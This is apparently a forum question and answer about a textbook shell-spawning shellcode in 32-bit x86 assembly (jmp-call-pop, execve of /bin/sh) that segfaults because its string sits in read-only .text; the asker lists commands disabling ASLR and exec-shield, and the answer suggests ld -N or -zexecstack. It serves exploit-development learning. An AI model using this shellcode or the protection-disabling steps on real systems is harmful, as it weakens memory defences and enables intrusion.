I'm following a basic shell-spawning exploit example. Below is exactly what my book tells me to write, yet I still get a segfault.
When running this in gdb, I get a segfault at "mov byte [esi + 7], al". This line is necessary so that I can put a null byte at the end of my string "/bin/sh". When I flipped it around to "mov byte al, [esi + 7]", this did not cause a segfault. I'm assuming that I do not have write permissions to the place in memory where my string is stored. It seems I only have read permissions.
I am using a virtual machine that is running a 32-bit centos, which is hosted by a 64-bit centos machine.
Precautions I have already taken:
- Disabled ASLR in my vm with sysctl -w kernel.randomize_va_space=0
- Disabled dep in my vm with sysctl -w kernel.exec-shield=0
Disabled the XD flag in my host machine through the BIOS setup
Section .text global _start _start: jmp short GotoCall shellcode: pop esi ; stores address of string in esi xor eax, eax ; fill eax with null bytes mov byte [esi + 7], al ; replace 'J' with null byte - SEGFAULT! lea ebx, [esi] ; stores address of string in ebx mov long [esi + 8], ebx ; stores address of string in AAAA mov long [esi + 12], eax ; stores null bytes in KKKK mov byte al, 0x0b ; stores 11 (execve code) in al mov ebx, esi ; stores address of string in ebx lea ecx, [esi + 8] ; stores pointer to string in ecx lea edx, [esi + 12] ; stores pointer to null in edx int 0x80 ; system call GotoCall: call shellcode ; pushes address of string on stack db '/bin/shJAAAAKKKK' ; creates space for string
I have already confirmed that ESI contains the correct address which points to the string in gdb.
/x $esi = 0x8048081
(gdb) x/s 0x8048081
0x8048081 <GotoCall+5>: "/bin/shJAAAAKKKK"
I have also tried writing to [esi] instead of [esi + 7] with 0x1 instead of al. It seems that I just cannot write to memory allocated by the db directive. Why can't I write a null byte to [esi + 7] ?
You've identified the problem -- your string in memory is not writable. That's because it is in the
.text
section, which is read-only by default.You can make it writable by linking with the
-N
option (useful for testing shellcode)Linking with
gcc -zexecstack
will make.data
executable, so you can put shellcode that modifies itself there as an alternative to making.text
writable withld -N
.